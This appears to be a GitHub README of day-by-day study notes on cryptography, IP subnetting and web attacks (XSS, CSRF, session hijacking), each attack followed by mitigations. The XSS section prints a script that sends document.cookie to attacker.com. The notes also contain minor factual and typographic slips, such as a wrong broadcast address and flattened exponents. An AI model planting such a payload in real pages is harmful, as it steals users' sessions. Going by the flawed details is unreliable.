Skip to content

Latest commit

 

History

23 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 

Repository files navigation

This will be about Cryptography, Networking and Security

Day 1

Substitution Cipher

-> Caesar Cipher(+3) --> A becomes D, B becomes E and so on.

Morse Code

-> Will change numbers letters into dots(.) and dashes(_).

Day 2

Hashing Algorithm

Properties:
-> pre-image resistance.
-> should be fast but not so fast.
-> shouldn't have hash collisions.
-> avalanche effect. i.e. change in one bit changes the whole hash value.


Types of Hashing Algorithms:
-> SHA(Secure Hash Algorithms) -> various versions are there such as SHA-1, SHA-2, etc.
-> MD5(Message Digest 5) -> broken

SHA-1:
-> 160 bits long hash values means 32 bits each for 5 message
-> 160 bits is basically changed into group of 4 bits to get 32 length hash value.
-> Bears similarity with MD5 and MD4 in functioning.

Day 3

Salting

A technique to add random values to your password to get different hash value.
i.e.

password = input("Enter your password: ")
salt = some_random_value
password = password + salt
hashed_value = hash(password)

The password hash here will be different and help in securing your password as it won't be available now in the rainbow table.

Day 4

IP addresses and their types

Private:

-> Only used in local networks such as home/office.
-> There is range for the private IPs categorized into certain classes.

  1. Class A: range from 10.0.0.0 to 10.255.255.255
  2. Class B: range from 172.16.0.0 to 172.31.255.255
  3. Class C: range from 192.168.0.0 to 192.168.255.255

The above-mentioned are IPv4 IPs. For the IPv6, they will be mentioned as fc00::/7 will start with fc or fd.

To note:
IPv4 uses 32 bit address.
IPv6 uses 128 bit address.

Public:

-> Any IPs not in the range of above will be Public IPs.
-> This is the IP with which you connect to the world.
-> for example, Google public DNS server IP is 8.8.8.8.

Subnet

-> It is a smaller, logically divided network within a larger network.
-> created by using subnet mask such as 255.255.255.0 where this means first 24 bits are masked and only last 8 bits are used for host.
-> To be clear say, our ip address is of form 192.168.1.0/24 then 192.168.1 part is network address while .0 part is host address.
-> So, 192.168.1.0 is used for network address, 192.168.0.255 is used for broadcast address and remaining are used for devices on the network.
-> Here, 255.255.255.0 is known as subnet mask.
-> Also we can create more subnets as notation is to create two subnets. 192.168.1.0/25 to borrow one bit from the host address.

Day 5

Public Key Crytography(RSA)

-> The keys are not same for encryption and decryption i.e. public key for encryption and private key for decryption but these keys are related to each other mathematically.

How Does This Works?

  1. Key Generation:
    -> we choose two primes say p, q.
    -> we compute n = p × q this n will be used a part of both public and private key.
    -> we then compute the euler's totient function Φ(n) = (p - 1) × (q - 1). This totient function means the total numbers which are coprime to n from 1 to n - 1.
    -> we select e(the public exponent) such that 1 < e < Φ(n) and e is coprime to Φ(n) i.e. gcd(e, Φ(n)) = 1.
    -> we calculate d(the private component) as the modular inverse of e modulo Φ(n), so that d × e ≡ 1 mod Φ(n).

  1. Encryption:
    -> sender uses the recipient's public key(e, n) to encrypt the plaintext M into ciphertext C using the formula: C = Me mod n.

  1. Decryption:
    -> receiver uses the private key(d, n) to decrypt the Ciphertext C into Message M using the formula: M = Cd mod n.

Here, larger the primes p and q, harder it is to break the encryption.

Day 6

Advanced Encryption Standard (AES)

-> Symmetric Encryption Standard which encrypts data in fixed-size blocks(128 bits)
-> Supports key size of 128, 192, 256 bits.
-> highly secure and used by U.S. NIST.
-> performs series of transformation over multiple rounds depending on the key size:
. AES-128: 10 rounds
. AES-192: 12 rounds
. AES-256: 14 rounds

Data Encryption Standard (DES)

It is a block cipher that operates on 64-bits blocks using a 56-bit key. It is a symmetric-key algorithm.

-> performs 16 round of operations.
-> unsecure and is prone to brute force attack due to 56-bit key.

Digital Signature Algorithm (DSA)

It is an asymmetric algorithm for digital signature. It is the part of Digital Signature Algorithm standard in the Digital Signature Standard(DDS).

-> private key for signing and public key for verification.
-> typically uses 1024 bits but 2048 and 3072 bits are preferred for better security.
-> generates Digital Signature for a message using the private key.

DSA Signature Generation

  1. Message Hashing: It is done using any hashing algorithms such as SHA-1 or SHA-256. This hash value is denoted by H(m).

  2. Signature Generation: Select a random integer k (from a range([1, q - 1] where q is small prime divisor of p - 1.) determined by the parameters of DSA).

    Calculate r and s as:
    r = (gk mod p) mod q (where g, p, q are the DSA parameters).
    s = k-1(H(m) + xr) mod q (where x is the private key and k-1 is the modular inverse of k and calculated using the Extended Euclidean Algorithm).

  3. The pair (r, s) is the signature pair. Note that both r and s must be within the range of [1, q - 1]. If not, it is considered invalid.

DSA Signature Verification

  1. Compute w.
    w = s-1 mod q.

  2. Computer u1 and u2.
    u1 = (H(m) × w) mod q
    u2 = (r × w) mod q

  3. Compute v using public key y and domain parameters p, q, g and u1 and u2.
    v = (gu1 × yu2) mod p mod q.

  4. Verify:
    if v = r, valid else invalid.

Day 7

Cross Site Scripting (XSS)

It is a vulnerability that allows an attacker to inject malicious scripts (basically Javascript) into the content viewed by the users. The injected script can execute in the context of the victim’s browser, allowing the attacker to steal information (such as cookies or session tokens), manipulate content, or perform other malicious actions.

Types of XSS

  1. Stored XSS: It is stored permanently stored on Target's server(i.e. Database)

  2. Reflected XSS: The malicious script is reflected off a web server, typically through URL parameters, and executes when the victim clicks on a crafted URL.

  3. DOM-based XSS: The vulnerability exists in the client-side code (JavaScript), where the page itself executes the malicious script without proper sanitization.

Cross Site Forgery Request (CSFR)

It is an attack where an attacker tricks a victim into performing an unwanted action on a web application in which the victim is authenticated. The attacker typically sends a request from the victim's browser to a website where the victim is logged in, exploiting the trust that the site has in the user's browser.

How CSRF Works:

-> The attacker sends a link or embeds malicious code (usually in an email, on a website, or in a forum post).

-> If the victim is logged into a vulnerable web application, clicking the link or executing the code sends an unintended request to the server, potentially performing actions like transferring funds, changing account settings, or making posts.

Day 8

Cookies

Cookies are small pieces of data that are stored on your browser or device by websites. They are used to remember information about you and your interactions with a website over time.
Think of cookies as little notepads that websites use to store information about your visit and user preferences, making your experience more convenient and personalized.

Types of Cookies

1. Session Cookies

Purpose: These cookies are temporary and are erased when you close your browser. They store temporary information like whether you're logged in or not while you're actively using the website.
Example: When you log in to a site, the session cookie keeps you logged in for as long as you browse. Once you close the browser, it disappears.

2. Persistent Cookies

Purpose: These cookies stay on your device even after you close the browser. They have an expiration date (a set amount of time), and they allow websites to remember things like login details, preferences, and settings across multiple sessions.
Example: When you visit a website, and it "remembers" your login info (so you don't have to re-enter it every time), that's a persistent cookie at work.

3. First-Party Cookies

Purpose: These are cookies set by the website you are currently visiting.
Example: If you visit example.com, and example.com sets a cookie, that cookie is considered a first-party cookie.

4. Third-Party Cookies

Purpose: These are cookies set by external services that are not part of the website you're visiting. They are commonly used for tracking across multiple sites for advertising purposes.
Example: When you visit a website that has an embedded ad or a social media widget (like a "Like" button from Facebook), Facebook may set a cookie to track you across the web for targeted ads.

Session Hijacking and Cookie Stealing

1. Man-in-the-Middle (MITM) Attack

In a MITM attack, the attacker intercepts the communication between the client and server. If the connection is not secure (HTTP instead of HTTPS), the attacker can capture the session cookie sent by the browser.

Example of a MITM Attack:

1. The victim visits example.com over HTTP.
2. The attacker, positioned between the victim and the server (e.g., on an untrusted Wi-Fi network), intercepts the communication.
3. The attacker captures the session cookie sent by the server in the HTTP response.
4. The attacker now uses the stolen session cookie to impersonate the victim.

Mitigation:

• Always use HTTPS (encrypted communication) to ensure cookies are transmitted securely.
• Ensure Secure flags are set on cookies to prevent cookies from being sent over non-HTTPS connections.

2. Cross-Site Scripting (XSS)

XSS occurs when an attacker injects malicious JavaScript into a webpage, which is then executed in the victim’s browser. If the target site does not set the HttpOnly flag on cookies, the attacker can access cookies via JavaScript.

Example of XSS Attack:

1. The attacker finds a vulnerability (e.g., a comment form or search bar) on the target website where user input is not sanitized.
2. The attacker submits a script like this:


<script>
  fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

3. When a victim views the page with the malicious script, the script sends the victim’s cookies to the attacker’s server.

Mitigation:

• Always use the HttpOnly flag on cookies, which prevents JavaScript from accessing them.
• Validate and sanitize all user inputs to prevent XSS.

3. Session Fixation Attack

A session fixation attack occurs when an attacker forces a user to use a specific session ID, which the attacker has already set. When the victim logs in with that session ID, the attacker can use it to hijack the session.

Example of Session Fixation:

1. The attacker creates a session on the server, which gives them a session ID (123456).
2. The attacker tricks the victim into clicking a link that forces them to use this session ID (e.g., by appending ?sessionid=123456 to the URL).
3. The victim logs in, and the server now associates their account with the attacker’s session ID.
4. The attacker can now use the same session ID to access the victim's account.

Mitigation:

• Regenerate session IDs upon login to prevent attackers from using pre-set session IDs.
• Use Secure and SameSite flags to mitigate attacks.

About

No description, website, or topics provided.

Resources

Stars

0 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages